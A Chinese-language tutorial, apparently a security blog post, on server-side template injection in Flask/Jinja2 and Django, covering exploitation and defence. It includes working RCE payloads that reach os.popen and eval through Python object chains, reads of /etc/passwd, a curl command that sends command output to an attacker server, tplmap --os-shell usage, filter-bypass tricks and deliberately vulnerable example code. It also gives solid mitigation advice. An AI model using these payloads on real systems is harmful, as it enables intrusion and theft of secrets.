1. 项目概述:从模板渲染到代码执行
在Web开发的世界里,模板引擎是提升开发效率、实现前后端分离的利器。无论是轻量级的Flask还是功能完备的Django,都内置了强大的模板系统,让开发者能优雅地将动态数据嵌入到HTML页面中。然而,这份便利背后潜藏着一个危险的陷阱——服务器端模板注入(Server-Side Template Injection, SSTI)。这绝不是一个停留在理论层面的“学术漏洞”,而是一个能直接导致服务器被完全控制的“致命武器”。
简单来说,SSTI漏洞的成因在于,开发者将用户可控的输入,未经充分净化就直接拼接到了模板语句中。模板引擎的本意是执行预定义的指令来渲染数据,但当它错误地执行了用户输入的指令时,整个系统的控制权就可能易手。攻击者可以利用这一点,从简单的信息泄露开始,逐步深入,最终在服务器上执行任意系统命令,读取敏感文件,甚至获取一个反向Shell。我见过太多因为一个看似无害的“渲染用户名”功能而沦陷的线上服务。
本文将深入剖析Flask(使用Jinja2模板引擎)和Django(使用Django Template Language)中SSTI漏洞的5种典型利用方式。我不会只停留在“如何利用”的层面,更重要的是,我会结合自己多年的安全审计和渗透测试经验,拆解每一种利用方式背后的原理、触发的条件以及在实际攻防场景中的应用。最后,我们会系统地探讨如何从开发习惯、框架配置、安全中间件等多个维度构建防御体系。无论你是正在使用这两个框架的开发者,还是对Web安全感兴趣的研究者,这篇文章都将提供可直接复现的案例和可落地的防护方案。
2. SSTI漏洞原理深度解析:引擎如何被“策反”
要有效防御,必须先透彻理解攻击是如何发生的。SSTI的本质是混淆了“数据”与“代码”的边界。模板引擎的工作流程通常包含两个阶段:模板解析和模板渲染。漏洞就发生在解析阶段,当用户输入被当作模板语法的一部分进行了解析。
2.1 Jinja2与Django模板引擎的工作机制
Jinja2 (Flask)的语法非常灵活且强大。它使用{{ ... }}进行变量替换和表达式求值,使用{% ... %}执行控制语句(如循环、条件判断)。Jinja2允许在模板中访问Python对象的属性和方法,这是其强大之处,也是风险之源。例如,{{ config }}可以访问Flask应用的配置对象,而{{ ''.__class__ }}则会返回一个字符串对象的类。
Django模板语言 (DTL)在设计上更加“保守”和安全。它的表达式输出也用{{ ... }},标签用{% ... %}。但与Jinja2一个关键区别在于,DTL默认不允许执行任意Python代码或访问任意对象的属性和方法(除非显式传入)。它更像一个功能受限的沙箱。然而,这个沙箱并非牢不可破,在某些特定配置或写法下,沙箱的边界会被打破。
2.2 漏洞产生的典型代码模式
漏洞几乎总是源于不安全的字符串拼接。以下是两种框架中最常见的危险模式:
Flask/Jinja2 危险示例:
from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/vulnerable') def vulnerable(): name = request.args.get('name', 'Guest') # 致命错误:将用户输入直接拼接到模板字符串中 template = f"<h1>Hello, {name}!</h1>" return render_template_string(template)在这段代码中,如果用户传入name={{7*7}},服务端会渲染出“Hello, 49!”,这直接证明了模板引擎执行了用户输入的表达式7*7。
Django 危险示例:
# views.py from django.shortcuts import render from django.template import Template, Context def vulnerable_view(request): user_input = request.GET.get('section', 'default') # 危险:使用用户输入作为模板名称的一部分(虽然不常见,但类似思想) # 更常见的危险是使用 Template(user_input).render(context) template_code = f"Welcome to our {{% block {user_input} %}} site!" try: t = Template(template_code) html = t.render(Context({})) return HttpResponse(html) except: return HttpResponse("Error")虽然Django通常不直接渲染用户输入的模板字符串,但错误地使用Template类直接编译用户输入,或是在模板标签、过滤器参数中引入用户输入,都可能打开缺口。
核心要点:判断是否存在SSTI,一个简单的测试方法是向疑似注入点输入
{{7*7}}、${7*7}或<%= 7*7 %>等(取决于模板语法),观察返回页面是否计算出“49”。如果计算成功,则证明存在注入,模板引擎将你的输入作为代码执行了。
2.3 从表达式执行到命令执行的关键跳板
单纯的表达式计算(如7*7)危害有限,攻击者的终极目标是执行任意系统命令(RCE)。这就需要利用模板引擎提供的“跳板”。这个跳板就是Python 的对象继承链和反射机制。
在任何SSTI利用中,攻击者的思路通常是:
- 找到起点:从一个已知的、可访问的Python对象开始(比如一个空字符串
'',一个数字0,甚至是Flask中的request对象)。 - 遍历继承链:通过
__class__属性找到该对象的类,再通过__bases__或__mro__(方法解析顺序)找到基类(通常是object)。 - 寻找危险子类:从基类出发,枚举其所有子类(
__subclasses__()),在庞大的子类列表中寻找那些包含危险方法的类。常用的目标包括:os._wrap_close: 此类内部引用了os模块。subprocess.Popen: 用于执行系统命令。warnings.catch_warnings: 其内部模块引用可用于导入os。
- 调用危险方法:实例化找到的危险类,或直接调用其方法,最终达到导入
os模块并执行os.popen('id').read()或os.system('bash -c ...')的目的。
理解了这个链条,我们就能明白后续所有利用方式本质上都是在自动化或优化这个寻找和调用的过程。
3. 五种常见SSTI利用方式实战拆解
下面,我将结合具体代码示例,详细拆解五种在不同场景下行之有效的利用方式。我会说明每种方式的适用场景、核心原理和具体操作。
3.1 方式一:经典对象链遍历与命令执行
这是最基础、最通用的方法,适用于绝大多数存在SSTI的Jinja2环境。
利用过程:
- 获取基本类:
{{ ''.__class__ }}-> 输出<class 'str'>。 - 寻找基类:
{{ ''.__class__.__bases__ }}-> 输出(<class 'object'>,)。或者用__mro__:{{ ''.__class__.__mro__ }}-> 输出(<class 'str'>, <class 'object'>)。我们的目标是object。 - 枚举所有子类:
{{ ''.__class__.__bases__[0].__subclasses__() }}。这会打印出一个很长的列表,包含了Python运行时加载的所有类。 - 寻找可利用的类:我们需要在这个列表中寻找索引号。例如,寻找
os._wrap_close类。你可以通过肉眼搜索,或者在攻击时编写一个简短的脚本来自动遍历。假设我们找到它在索引133的位置。 - 导入os模块并执行命令:
或者,如果找到了# 通过 __init__ 获取类引用,再通过 __globals__ 获取模块命名空间字典 {{ ''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['sys'].modules['os'].popen('whoami').read() }}subprocess.Popen(假设在索引258):{{ ''.__class__.__bases__[0].__subclasses__()[258](['ls', '-la'], stdout=-1).communicate()[0] }}
实操心得与避坑指南:
- 索引号是变动的:
__subclasses__()返回的列表顺序取决于Python解释器的导入顺序,在不同环境、不同版本下,目标类的索引号可能不同。因此,在实际攻击中,需要先进行“侦查”,或者编写一个遍历脚本来动态定位目标类。 - 过滤空格和括号:某些WAF或简单的过滤可能会拦截空格、括号。可以使用Jinja2的特性进行绕过,例如用
[]代替.进行属性访问:{{ ''['__class__'] }};用|attr()过滤器:{{ ''|attr('__class__') }};对于参数,可以将其存储在变量中:{{ request.args.cmd }}。 - 命令执行无回显怎么办?:如果命令执行了但没有输出(盲注),可以考虑使用延时(
time.sleep(5))进行布尔盲注,或者将结果外带到你的服务器:curl http://your-server/?result=$(whoami|base64)。
3.2 方式二:利用内置函数与命名空间访问
当直接遍历子类受到限制时,可以尝试从当前模板的上下文或内置函数中寻找突破口。
利用过程:
- 访问
__builtins__:Python的__builtins__模块包含了所有内置函数。在Jinja2中,有时可以通过上下文访问到它。{{ self.__init__.__globals__.__builtins__ }}self在Jinja2模板中指向当前的模板对象。通过__globals__可以访问到其全局命名空间,进而找到__builtins__。 - 调用危险内置函数:从
__builtins__中,我们可以拿到eval,exec,open等危险函数。{{ self.__init__.__globals__.__builtins__['eval']('__import__("os").popen("id").read()') }} {{ self.__init__.__globals__.__builtins__['open']('/etc/passwd').read() }}
适用场景与技巧:
- 这种方式通常用于
{{ ... }}表达式内,且当self对象在模板上下文中可用时。在某些Flask应用的错误页面或调试信息中,self是可访问的。 - 如果
__builtins__被过滤,可以尝试其他内置模块的引用,如__import__本身就是一个内置函数,可以直接调用:{{ __import__('os').popen('id').read() }}。这是最简洁的RCE方式之一,但__import__这个关键词也常常被列入黑名单。
3.3 方式三:针对Django特定环境的利用技巧
Django模板的沙箱机制使得利用比Jinja2更困难,但并非不可能。主要利用点在于其模板标签、过滤器和配置。
利用过程:
- 利用
{% debug %}标签(仅限DEBUG=True):如果Django设置中DEBUG = True,且攻击者能够控制模板的某一部分,可以尝试注入{% debug %}标签。这会将当前上下文的所有变量(包括settings)以交互式界面形式输出,其中settings.SECRET_KEY等敏感信息一览无余,为后续攻击(如伪造Session)提供基础。 - 利用危险过滤器:Django的
dictsort过滤器在某些旧版本中存在安全问题。更通用的思路是,如果应用自定义了不安全的过滤器,也可能成为突破口。 - 属性遍历的变种:虽然DTL默认禁止
.操作符访问以下划线开头的方法,但可以通过{{ request }}对象(如果已传入模板)来尝试访问其属性。例如,在一些配置不当的情况下,{{ request.GET.urlencode }}可能会暴露信息。核心是寻找那些被无意中传入模板的、包含丰富属性的对象。 - 沙箱逃逸(高级):对于使用
django.template.Template并传入django.template.context.Context的场景,如果沙箱配置不当,理论上存在逃逸可能,但这需要极特殊的条件和深入的Python知识,在实际Web漏洞中较少见。
注意:Django SSTI的利用成功率远低于Flask/Jinja2。最常导致Django出现RCE的往往是配置错误,例如将敏感设置(如
SECRET_KEY)暴露给了模板,或者允许用户上传并作为模板文件执行。因此,对Django的防护重点在于严格的配置管理和输入校验。
3.4 方式四:通过Flask上下文全局对象突破
Flask在渲染模板时,会自动注入一些全局对象到Jinja2环境中,如request,session,config,g。这些对象本身及其关联的类,都可能成为攻击链的起点。
利用过程:
config对象:{{ config }}直接打印出所有配置,可能包含数据库连接字符串、密钥等。更重要的是,config对象本身是一个类字典对象,其__class__属性同样可以用于启动对象链遍历。{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}request对象:{{ request }}对象非常强大。它本身是flask.Request类的实例。通过它,不仅可以访问请求数据,还可以作为跳板。{{ request.application.__init__.__globals__.__builtins__['__import__']('os').system('touch /tmp/pwned') }}request.application指向当前的Flask应用实例,其__init__.__globals__包含了应用初始化时的全局模块。
技巧与场景:
- 在盲注场景下,可以利用
request对象将命令执行的结果带出。例如,让目标服务器将whoami的结果作为参数,向攻击者控制的服务器发起一个HTTP请求。 - 如果目标存在SSTI但过滤了某些关键词,可以尝试通过
request.args或request.values来传递payload的一部分,在模板中进行拼接,从而绕过静态过滤。
3.5 方式五:使用工具自动化探测与利用
手动构造SSTI payload虽然有效,但效率低下,尤其是在子类索引不确定或需要绕过复杂过滤时。此时,自动化工具是必备的。
主流工具介绍:
tplmap:这是一款经典的SSTI自动化利用工具,类似于SQL注入的sqlmap。它不仅能检测SSTI,还能自动识别模板引擎类型(Jinja2, Django, Smarty等),并利用其特性获取远程Shell。
- 基本使用:
python tplmap.py -u 'http://target.com/page?name=test' - 获取交互式Shell:
python tplmap.py -u 'http://target.com/page?name=test' --os-shell - 优点:全自动,支持多种引擎,利用链成熟。
- 缺点:流量特征明显,容易被WAF拦截;在某些复杂过滤环境下可能失效。
- 基本使用:
手工探测脚本:对于有定制化需求或需要绕过WAF的场景,编写一个简单的Python探测脚本更为灵活。
import requests import sys target = sys.argv[1] param = sys.argv[2] # 测试基本注入 test_payloads = [ "{{7*7}}", "${7*7}", "<%= 7*7 %>", "{{''.__class__}}", "{{request}}", ] for payload in test_payloads: r = requests.get(target, params={param: payload}) if "49" in r.text or "<class" in r.text or "LocalProxy" in r.text: print(f"[+] Potential SSTI with payload: {payload}") print(r.text[:500]) # 打印部分响应以确认 break这个脚本可以快速验证是否存在注入以及模板引擎类型。
工具使用心得:
- 先手工,后工具:建议先用简单payload(如
{{7*7}})手工确认漏洞存在和引擎类型,再使用工具进行深度利用。直接上工具可能会因请求过于频繁或特征明显而被封禁。 - 注意流量隐蔽:tplmap的默认payload可能被现代WAF识别。可以尝试修改其源码中的payload字典,或使用
--tamper脚本(如果支持)来混淆流量。 - 工具不是万能的:对于高度定制化的应用、非常见模板引擎或者存在复杂过滤的情况,工具可能无法成功。此时,深入理解前面介绍的手工利用原理,进行手工模糊测试和代码审计,才是解决问题的关键。
4. 多层次防御策略:从编码到部署
了解了攻击手段,防御就有了针对性。防御SSTI需要一套组合拳,贯穿开发、测试、部署全流程。
4.1 开发阶段:安全编码是第一道防线
这是最根本、最有效的防御层。
严格禁止渲染用户输入的模板字符串:这是铁律。绝对不要使用
render_template_string()或Django的Template()类去编译用户直接提供的字符串。如果需要动态模板,应使用预定义的模板片段和安全的变量替换。- 错误示例:
render_template_string(user_input) - 正确做法:使用固定的模板文件,只将用户输入作为变量值传入。
在# Flask return render_template('greeting.html', name=user_input) # Django return render(request, 'greeting.html', {'name': user_input})greeting.html中安全地使用:<h1>Hello, {{ name }}!</h1>
- 错误示例:
对动态模板内容进行强白名单过滤:如果业务上确实需要极度灵活的模板功能(如CMS系统允许用户自定义页面样式),那么必须建立一个严格的标签/过滤器白名单。使用一个安全的沙箱模板引擎(如Jinja2的沙箱模式
SandboxedEnvironment),并只允许白名单内的、无害的标签和过滤器运行。from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() # 配置白名单... template = env.from_string(sanitized_user_content)谨慎使用
|safe过滤器:在Jinja2中,|safe标记会告诉模板引擎该变量是安全的,无需转义。永远不要对来自用户输入的数据使用|safe,除非你百分之百确信它已经过严格的净化(如只包含纯文本或受信任的HTML)。这主要是防御XSS,但也与SSTI的输入净化思想一致。
4.2 框架配置与中间件加固
利用框架自身的特性来增强安全性。
- Django: 保持
DEBUG=False:在生产环境中,务必确保DEBUG = False。这不仅能避免暴露{% debug %}这样的危险标签和详细的错误信息,还能提升性能,是部署前的基本检查项。 - 使用自动转义:Jinja2和Django默认都开启了自动HTML转义。确保你没有在模板层面或全局配置中关闭它。这能有效防御XSS,虽然对SSTI的直接防御作用有限,但它是整体安全基线的一部分。
- 考虑使用CSP:内容安全策略(Content Security Policy)HTTP头可以限制页面加载的资源(如脚本、样式),虽然不能阻止SSTI在服务器端发生,但可以缓解SSTI导致的存储型XSS等次级攻击的影响。
4.3 部署与运维层面的防护
在应用之外构建防线。
- 部署WAF(Web应用防火墙):一款成熟的云WAF或硬件WAF可以识别并拦截常见的SSTI攻击payload。它们通常基于规则库,能有效阻挡利用已知模式的自动化攻击工具(如tplmap)的扫描。
- 最小权限原则运行应用:运行Flask/Django应用的系统用户(如
www-data,nginx)应该具有尽可能低的权限。确保该用户没有对关键系统文件(如/etc/passwd,/etc/shadow)的读取权限,也没有在关键目录(如/,/home)的写入权限。这样即使攻击者实现了RCE,其破坏力也受到限制。 - 定期更新与安全审计:保持Python解释器、Flask、Django以及所有依赖库的最新版本。定期对代码进行安全审计,特别是对涉及模板渲染、文件操作、命令执行的部分进行重点审查。可以使用静态代码分析工具(如
Bandit)进行辅助扫描。# 使用Bandit扫描Python代码 bandit -r your_project/
4.4 安全测试与漏洞排查清单
将安全检查流程化。
在开发完成后或上线前,可以按照以下清单进行自检:
- [ ] 全局搜索
render_template_string,Template((在Django中),检查其参数是否完全可控。 - [ ] 检查所有传入模板的变量,确认其来源是否可信,是否经过净化。
- [ ] 确认生产环境
DEBUG=False(Django)或app.debug = False(Flask)。 - [ ] 运行
bandit等SAST工具,查看是否有关于模板注入的中高风险提示。 - [ ] 进行黑盒测试,向所有用户输入点尝试注入
{{7*7}}、${7*7}等测试payload。
5. 实战案例:一个Flask SSTI漏洞的完整挖掘与利用过程
为了将上述知识串联起来,我模拟一个真实的审计场景。假设我们有一个简单的Flask笔记应用,它允许用户创建笔记,并支持“自定义笔记模板”功能(一个高危功能点)。
漏洞代码 (app.py):
from flask import Flask, request, render_template_string app = Flask(__name__) notes = [] @app.route('/create', methods=['GET', 'POST']) def create_note(): if request.method == 'POST': title = request.form.get('title') # 漏洞点:用户控制的模板内容被直接渲染 template_content = request.form.get('template', '<p>{{ content }}</p>') content = request.form.get('content') # 将用户笔记内容套用其自定义的模板 try: # 致命操作:将用户输入的template_content和content拼接渲染 note_html = render_template_string(template_content, content=content) except Exception as e: note_html = f"<p>Template Error: {e}</p>" notes.append({'title': title, 'html': note_html}) return "Note saved!" return ''' <form method="post"> Title: <input name="title"><br> Custom Template (optional): <textarea name="template"><p>{{ content }}</p></textarea><br> Content: <textarea name="content"></textarea><br> <input type="submit"> </form> '''攻击步骤:
- 探测:在“Custom Template”字段输入
{{7*7}},提交。如果返回的页面或保存后的笔记显示“49”,则确认SSTI存在。 - 信息收集:输入
{{ config }},查看Flask配置,可能会泄露SECRET_KEY。 - 构造利用链:目标是执行命令。我们使用对象链遍历法。先获取所有子类列表的索引,可以分步进行,或者直接使用一个较短的payload探测
os._wrap_close类。假设我们通过遍历脚本或经验知道其索引在133附近。 - 执行命令:在模板字段输入最终payload:
提交后,笔记内容将不再是预期的文本,而是{{ ''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['sys'].modules['os'].popen('cat /etc/passwd').read() }}/etc/passwd文件的内容。 - 获取反向Shell:如果目标服务器有网络连接权限,可以尝试更危险的payload,如用Python或bash创建反向Shell连接。
漏洞修复:这个功能的初衷是危险的。除非绝对必要,否则应删除“自定义模板”功能。如果必须保留,必须实施严格的沙箱机制:
from jinja2.sandbox import SandboxedEnvironment sandbox_env = SandboxedEnvironment() def create_note_safe(): # ... 获取title, template_content, content ... try: # 1. 对template_content进行严格的标签/关键字黑名单过滤(不推荐,易绕过)或白名单过滤(推荐)。 # 2. 在沙箱环境中编译和渲染 template = sandbox_env.from_string(template_content) note_html = template.render(content=content) # 只传入安全的content变量 except Exception as e: note_html = f"<p>Template Error</p>" # 记录日志,但不暴露具体错误信息给用户 # ...即使使用沙箱,也需要极其谨慎地评估其安全性,因为沙箱逃逸漏洞在历史上也时有发生。最安全的做法,就是不让用户触碰模板语法。
6. 常见问题与排查技巧实录
在实际开发和渗透测试中,会遇到各种奇怪的问题。这里记录一些常见的坑和解决思路。
Q1: 我输入了{{7*7}},但返回的是原字符串“{{7*7}}”,不是“49”,是不是就没漏洞?A: 不一定。这可能有几种情况:
- 模板引擎不同:目标可能使用的是其他模板引擎,如Mako(语法
${7*7})、Twig(PHP,语法{{7*7}}但上下文不同)、或纯文本渲染。需要尝试其他引擎的payload。 - 输出被转义了:可能模板引擎正常执行了,但输出时被HTML编码了。查看网页源代码,看源代码里是不是
49。或者尝试{{'<test>'}},看输出是<test>还是<test>。 - 存在过滤或WAF:可能
{{或}}被过滤或拦截了。尝试使用编码、拼接等方式绕过,如{{'%7b%7b7*7%7d%7d'|urlencode}}(如果存在解码过滤器),或者利用模板自身的特性:{{request.args.a}}其中a=7*7。
Q2: 找到了SSTI,也能执行{{config}},但执行系统命令的payload总是报错或没回显,怎么办?A: 这是最考验耐心的时候。可以按以下步骤排查:
- 检查语法和索引:确保Python语法正确,特别是括号和引号的匹配。子类索引号不对是最常见的原因。写一个简单的payload来遍历并搜索目标类:
{% for idx, cls in ''.__class__.__bases__[0].__subclasses__() %}{% if 'os' in cls.__name__ %}{{ idx }}:{{ cls.__name__ }}{% endif %}{% endfor %}。 - 尝试无回显命令:先执行一个能产生明显侧信道效果的命令,如
sleep 5({{''.__class__...popen('sleep 5')}})看请求是否延迟,或者ping你的服务器看是否收到ICMP包(需要出网权限)。 - 尝试写文件:如果命令执行成功但无法回显,可以尝试将结果写入一个Web可访问的目录:
{{''.__class__...popen('whoami > /tmp/result.txt').read()}},然后尝试通过其他路径(如静态文件目录、已知上传点)访问这个文件。 - 考虑权限问题:可能应用运行在一个严格的容器或权限极低的用户下,无法执行
/bin/bash或读取某些文件。尝试使用python -c执行Python代码,或者用id、pwd等简单命令测试。
Q3: 在Django里,除了DEBUG模式,还有什么常见的SSTI触发点?A: Django SSTI相对罕见,但以下场景需要警惕:
- 自定义模板标签/过滤器:如果开发者在自定义标签或过滤器中使用了
eval()、exec()或compile()等函数处理用户输入,就会造成严重的RCE,这比模板注入更直接。 - 模板文件上传与渲染:如果应用允许用户上传文件,并且错误地将上传的文件当作模板来加载和渲染(例如,通过
render_to_string(uploaded_file_path)),那就是一个灾难性的漏洞。 flatpages或CMS插件:一些第三方应用或插件可能提供了富文本或模板编辑功能,其后台实现可能不安全。
Q4: 作为开发者,我用了参数化渲染(render_template('file.html', var=user_input)),是不是就绝对安全了?A: 这是正确且安全的做法,可以防御绝大多数SSTI攻击。因为用户输入user_input是作为数据传递给模板的,而不是作为模板语法的一部分被解析。只要你不做{{ user_input|safe }}这样危险的操作(可能引发XSS),在模板文件内部使用{{ var }}是安全的。你的安全重点应转移到防御XSS和确保其他业务逻辑的安全上。
最后一点个人体会:SSTI漏洞的根源在于“信任了不该信任的输入”。在Web安全领域,这条原则放之四海而皆准。无论是SQL注入、XSS、命令注入还是SSTI,本质上都是将用户控制的数据错误地解释为代码。建立起对一切外部输入“零信任”的心态,在拼接字符串时多问一句“这里面的内容我是否完全可控?”,就能避免绝大多数此类漏洞。对于Flask和Django开发者而言,牢记“不要用render_template_string处理用户输入”,就相当于堵上了最危险的那扇门。